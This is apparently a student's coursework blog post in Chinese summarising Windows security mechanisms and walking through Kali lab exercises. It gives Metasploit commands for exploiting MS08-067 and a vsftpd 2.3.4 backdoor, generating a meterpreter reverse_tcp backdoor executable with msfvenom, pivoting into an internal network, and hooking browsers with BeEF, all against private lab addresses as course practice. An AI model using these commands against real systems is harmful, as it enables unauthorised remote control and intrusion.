2017-2018-2 20179215《网络攻防实践》第七周作业

2016-2017-2 20179215 《网络攻防实践》第七周作业

教材学习内容总结

第7章. Windows 操作系统安全攻防

Windows操作系统的安全体系结构与机制

  • Windows安全体系结构
    基于引用监控器(Reference Monitor)模型来实现基本的对象安全模型。最核心的是位于内核中的SRM(Security Reference Monitor)安全引用监控器,以及位于用户态的LSASS安全服务。

  • Windows身份认证机制
    分为用户,用户组,和计算机三大类。对于每个安全主体,以时间和空间上都全局唯一的SID安全标识符来进行标识。
    Windows用户密码经过加密处理后被保存于SAM或者活动目录AD中,其中本地用户账户口令信息经过不可逆的128位随机秘钥Hash加密后存储在SAM文件中。
    Windows进程、GINA图形化登录窗口,与LSASS服务通过协作来完成本地身份认证过程。

  • Windows授权与访问控制机制
    Windows授权与访问控制机制是基于引用监控器模型,由内核中的SRM模块与用户态的LSASS服务共同来实施。
    Windows对于系统中所有需要保护的资源都抽象成对象,而对每个对象会关联一个SD安全描述符(Security Descriptor)都会关联一个对象描述符,有以下属性组成:Owner SID、Group SID、DACL 自主访问控制列表、SACL 系统审计访问控制列表。

  • Windows安全审计机制
    系统审计策略在本地安全策略中由系统管理员定义,来确定系统对哪些事件进行记录。

  • Windows的其他安全机制
    Windows安全中心中集成了对于保护Windows系统安全稳定运行最为关键的三项安全措施:防火墙,补丁自动更新,以及病毒防护。除了安全中心外,Windows的安全特性还包括IPSec加密与验证机制、EFS加密文件系统、Windows文件保护机制、捆绑的IE浏览器所提供的隐私保护与浏览安全保护机制等。

Windows远程安全攻防技术

Windows远程攻击技术可分为:远程口令猜测与破解攻击、攻击Windows网络服务、攻击Windows客户端及用户

  • Windows系统的安全漏洞生命周期
    Windows安全漏洞发现、利用与修补过程
    安全漏洞公开披露信息库:几个知名的通用漏洞信息库:CVE、NVD、SecurityFocus、OSVDB等。
    针对特定目标的渗透测试攻击过程:

    ①漏洞扫描测试
    ②查找针对发现漏洞的渗透代码
    ③实施渗透测试

使用Metasploit软件实施渗透测试
Metasploit是完全开源的渗透测试软件。采用开发框架和模块组件的可扩展模型,以Ruby语言编写的Metasploit Framework(MSF)库作为整个软件的基础核心,为渗透测试组件的开发与测试提供平台;模块组件是真正实施渗透攻击的代码。
Metasploit提供了CLI、Console、Web和GUI四种不同的用户交互接口,其中Console终端是比较常用的方式。

  • Windows远程口令猜测与破解攻击

    远程口令自猜测

    远程口令字交换通信窃听与破解

    远程口令猜测与破解防范措施

  • Windows网络服务远程渗透攻击

Windows操作系统默认开放135(TCP),137(UDP),139(TCP)与445(TCP)端口,对应的网络服务为MSRPC与过程调用服务,NetBIOS网络基本输入输出系统服务和SMB文件与打印机共享服务。

针对NetBIOS网络服务的著名漏洞及攻击

针对SMB网络服务的著名漏洞及攻击

针对MSRPC网络服务的著名漏洞及攻击

针对Windows系统上微软网络服务的远程渗透攻击

针对Windows系统上第三方网络服务的远程渗透攻击

网络服务远程渗透攻击防范措施

课堂测试——windows攻击

MS08-067漏洞介绍

MS08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”,如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码。在 Microsoft Windows 2000Windows XP 和 Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码,此漏洞可用于进行蠕虫攻击,目前已经有利用该漏洞的蠕虫病毒。

本次实验使用的攻击机是kali,靶机是WinXP

攻击机:192.168.14.136
靶机:192.168.14.131

1.在Kali中使用metasploit,首先启动PostgreSQL数据库服务和metasploit服务

但kali 2.0 已经没有metasploit 这个服务了,所以service metasploit start 的方式不起作用。
在kali 2.0中启动带数据库支持的MSF方式如下:

  • 首先启动postgresql数据库:/etc/init.d/postgresql start;或者 service postgresql start

  • 初始化MSF数据库(关键步骤!):msfdb init

  • 运行msfconsole:msfconsole

  • 在msf中查看数据库连接状态:db_status

2.查找是否存在ms08-067漏洞,看到返回相应信息

3.输入使用该漏洞攻击程序:命令:use exploit/windows/smb/ms08_067_netapi;执行结束后如下:

4.设置靶机和攻击机的地址

set RHOST 192.168.14.131
set LHOST 192.168.14.136

5.接下来就是实施攻击了,执行命令exploit

kali视频学习

一、 KaliSecurity 漏洞利用之检索与利用

1、searchsploit可以借助关键词搜索漏洞信息以及漏洞对应的exp
searchsploit wordpress 列出了漏洞和文件地址。

查看列出的文件,例:

2、ikat自动化开启不同的exp。等待目标访问中招。

3、termineter旨在评估智能电表的安全性

二. KaliSecurity 漏洞利用之Metasploit基础

Metasploit在渗透测试中经常被用到。这套软件包括了很多工具,这些工具组成了一个完整的攻击框架。

1、启动服务

在Kali中使用Metasploit,需要先开启PostgreSQL数据库服务和metasploit服务,然后就可以利用msf数据库查询exploit和记录。

2、路径介绍

Kali中msf的路径为/usr/share/metasploit-framework

3、基本命令

  • msfpayload:用来生成payload或者shellcode。 搜索可以用msfpayload -l |gre "windows"查询; -o选项可以列出payload所需的参数。

  • msfencode:msf中的编码器,早期用来绕过AV(杀毒软件),现常用msfpayload与它编码避免exploit的坏字符串。

  • msfconsole:开启metasploit的console。输入msfconsole,打开msf

4、测试示例:发现漏洞,搜索exploitnmap -sV 192.168.14.136

可以看到21端口开放的是ftp服务,用的版本是vsftpd 2.3.4
此版本是否存在漏洞,在msf里用search vsftpd
搜索一下

发现有匹配项

5、测试示例:选择exploit,查看参数

查看参数,发现RHOST的参数还未设置,接下来为其设置参数set RHOST 192.168.14.136

6、测试示例:选择payload设置好之后,show options查看参数,发现没有要设置的参数了。

7、执行攻击

输入exploit即可进行攻击测试,如果成功,将返回一个shell:
此时可查看id,ip地址,还有一些文件信息等,可获取目标主机的权限。

三. KaliSecurity 漏洞利用之Meterpreter介绍

1.生成Meterpreter后门;打开MSF,开启监听(选择exploit/multi/handler);在目标机器上执行door.exe;

msfpayload windows/meterpreter/reverse_tcp
LHOST=192.168.14.136 LPORT=2333 R | msfencode -t exe -c 5 > /root/door.exe 
/* 查看自己的IP地址为192.168.14.136,LHOST、LPORT为reverse_tcp的参数,可以在msf里查看到(记得把服务启动)*/

发现设置成功后仍无法显示,因为新版本的kali下msfpayload已经被移除了。以后只要使用msfvenom就行了,它集成了msfpayload和msfencode的功能:

所以生成meterpreter后门的命令等同为:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.14.136 LPORT=2333 -i 5 -f exe /root/door.exe

生成成功,将其移入XP系统中:

2.打开MSF,开启监听

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
show options
set LPORT 2333

修改监听端口:

3.在目标主机上执行door.exe

在kali的msf中执行exploit开始监听:

四. KaliSecurity 漏洞利用之Metasploit后渗透测试

在跳板获取一定权限后需要积极地向内网主机权限发展,获取指定的目标信息,探查系统漏洞,借助msf已经得到的Meterpreter后门,可以使系列的操作更容易。

  1. 查看当前网卡、网段信息(使用ifconfig)。可查看到三个网卡,一个是本地网卡,另一个是我们能访问的网卡,还有一个网卡具有内网IP(访问不到,可以ping以下试试)。
  2. 添加路由表run autoroute -s 10.0.0.1可以使用msf中的模块跨网段攻击或扫描。可通过脚本autoroute快速添加。
  3. 开socket代理,通过使用auxiliary/server/socks4a模块,创建一个socks代理,可以为浏览器,sqlmap,nmap使用。通过代理即可访问内网计算机。
  4. 通过background和session -i可以自由切换进入session。
  5. 输入run可以看到在meterpreter上可以做的很多命令。
    6.通过run post/可以看到后渗透测试模块
  6. 获取内网信息run arp_scanner -r 10.0.0.1/24
  7. 也可以上传文件,做端口转发后进行后续测试,例如upload lcx.exe c:\\传送文件到c盘根目录。

五.KaliSecurity 漏洞利用之BeEF

对XSS漏洞的利用需要一个强大的框架支持,BeeF是浏览器攻击框架的简称,是一款专注于浏览器端的渗透工具。

1.命令行下启动BeeF

直接使用命令 beef-xss即可,打开浏览器,会自动跳转至beef登录页面:

默认用户名:beef
密码:beef

即可进入主界面:

2.假设被测试主机由于XSS漏洞请求到

测试利用:输入网址http://127.0.0.1:3000/demos/basic.html,可以进入一个测试页面:

这样在主界面左端就可以看到一个在线主机:

3.HOOK持续的时间为关闭测试页面为止,在此期间相当于被控制了,可以发送攻击命令,在Commands模块我们可以完成很多任务。

其中。4中颜色分别表示:

该攻击模块可用,且隐蔽性强

该攻击模块可用,但隐蔽性差

该用户模块是否可用还有待验证

该攻击模块不可用

4.选取MISC下的Raw JavaScript模块为测试用例

有段表格有该模块的详细说明,以及一些可选的参数等。点击Excute进行攻击:

5.Proxy功能

选中目标主机,点右键,在菜单中选中use as proxy,然后在rider选项卡中的forge request 编辑并发送想要发送的内容:

信息发送后,可通过History选项看到,待传输成功后,点击相应的信息,即可显示详细的传输过程:

6.BeeF与Metasploit结合加载

BeeF默认是不加载Metasploit的,如果要使用Metasploit丰富的攻击模块,需要做些配置:

修改文件config.yaml

打开一个msfconsole

可以看到Metasploit下面多了很多可以使用的模块。

修改 /usr/share/beef-xss/config.yaml中的Metasploit一行为true:

重启beef发现已经加载了很多Metasploit的攻击模块:

posted @ 2018-04-22 17:42  20179215袁琳  阅读(343)  评论(0编辑  收藏  举报